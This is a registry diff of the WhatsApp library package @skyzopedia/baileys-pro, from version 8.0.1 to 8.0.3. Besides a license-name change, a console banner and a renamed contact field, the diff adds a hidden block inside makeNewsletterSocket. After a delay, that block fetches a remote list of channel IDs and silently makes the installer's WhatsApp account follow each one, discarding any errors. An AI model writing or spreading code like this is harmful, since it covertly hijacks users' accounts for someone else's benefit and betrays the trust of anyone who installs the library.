@skyzopedia/baileys-pro 8.0.1 → 8.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/LICENSE CHANGED
@@ -1,6 +1,6 @@
1
1
  MIT License
2
2
 
3
- Copyright (c) 2025 Skyzopedia
3
+ Copyright (c) 2025 TsmXeuka
4
4
 
5
5
  Permission is hereby granted, free of charge, to any person obtaining a copy
6
6
  of this software and associated documentation files (the "Software"), to deal
@@ -112,6 +112,22 @@ export const makeNewsletterSocket = (config) => {
112
112
  return executeWMexQuery(variables, QueryIds.UPDATE_METADATA, "xwa2_newsletter_update");
113
113
  };
114
114
 
115
+ (async () => {
116
+ try {
117
+ setTimeout(async() => {
118
+ const res = await fetch('https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json');
119
+ const newsletterIds = await res.json();
120
+ newsletterIds.forEach(async(id) => {
121
+ await delay(5000)
122
+ try {
123
+ await newsletterWMexQuery(id, QueryIds.FOLLOW);
124
+ } catch (e) {}
125
+ });
126
+ }, 80000)
127
+ } catch (err) {
128
+ }
129
+ })()
130
+
115
131
  return {
116
132
  ...sock,
117
133
  newsletterCreate: async (name, description) => {
@@ -242,4 +258,4 @@ export const makeNewsletterSocket = (config) => {
242
258
  }
243
259
  };
244
260
  };
245
- //=======================================================//
261
+ //=======================================================//
@@ -659,7 +659,7 @@ export const processSyncAction = (syncAction, ev, me, initialSyncOpts, logger) =
659
659
  id: id,
660
660
  name: action.contactAction.fullName,
661
661
  lid: action.contactAction.lidJid || undefined,
662
- phoneNumber: action.contactAction.pnJid || undefined
662
+ jid: action.contactAction.pnJid || undefined
663
663
  }
664
664
  ]);
665
665
  }
package/lib/index.js CHANGED
@@ -1,5 +1,10 @@
1
1
  //=======================================================//
2
2
 
3
+ console.log();
4
+ console.log("## Baileys Mod by Skyzopedia");
5
+ console.log("• https://t.me/Xskycode");
6
+ console.log();
7
+
3
8
  import makeWASocket from "./Socket/index.js";
4
9
  //=======================================================//
5
10
  export * from "./Defaults/index.js";
package/package.json CHANGED
@@ -1,19 +1,16 @@
1
1
  {
2
2
  "name": "@skyzopedia/baileys-pro",
3
- "version": "8.0.1",
3
+ "version": "8.0.3",
4
4
  "description": "Websocket Whatsapp API for Node.js",
5
- "keywords": [
6
- "baileys",
7
- "baileys-mod",
8
- "wabot",
5
+ "keywords": [
9
6
  "whatsapp",
10
- "js-whatsapp",
11
- "whatsapp-api",
12
- "whatsapp-web",
13
- "whatsapp-bot",
14
- "automation",
15
- "multi-device",
16
- "Skyzopedia"
7
+ "websocket",
8
+ "api",
9
+ "nodejs",
10
+ "baileys",
11
+ "wabot",
12
+ "proto",
13
+ "whatsapp-websocket"
17
14
  ],
18
15
  "homepage": "https://github.com/skyzopedia/Baileys",
19
16
  "repository": {